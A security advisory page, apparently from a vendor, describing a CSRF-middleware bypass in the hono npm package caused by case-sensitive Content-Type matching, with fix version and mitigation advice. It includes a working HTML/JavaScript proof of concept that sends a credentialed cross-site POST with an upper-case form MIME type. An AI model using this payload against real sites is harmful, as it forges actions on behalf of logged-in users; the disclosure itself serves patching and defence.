GHSA-rpfr-3m35-5vx5 is a medium-severity (CVSS 5) Cross-Site Request Forgery (CSRF) vulnerability in hono. O3 Security confirms whether GHSA-rpfr-3m35-5vx5 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Hono CSRF middleware can be bypassed using crafted Content-Type header
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
hononpmDescription
Summary
Hono CSRF middleware can be bypassed using crafted Content-Type header.
Details
MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case.
As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".
PoC
<html>
<head>
<title>CSRF Test</title>
<script defer>
document.addEventListener("DOMContentLoaded", () => {
document.getElementById("btn").addEventListener("click", async () => {
const res = await fetch("http://victim.example.com/test", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "Application/x-www-form-urlencoded",
},
});
});
});
</script>
</head>
<body>
<h1>CSRF Test</h1>
<button id="btn">Click me!</button>
</body>
</html>
Impact
Bypass csrf protection implemented with hono csrf middleware.
Discussion
I'm not sure that omitting csrf checks for Simple POST request is a good idea. CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | hono | all versions | 4.5.8 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for hono. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update hono to 4.5.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-rpfr-3m35-5vx5 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-rpfr-3m35-5vx5 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-rpfr-3m35-5vx5. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-rpfr-3m35-5vx5 in your dependencies?
O3 detects GHSA-rpfr-3m35-5vx5 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.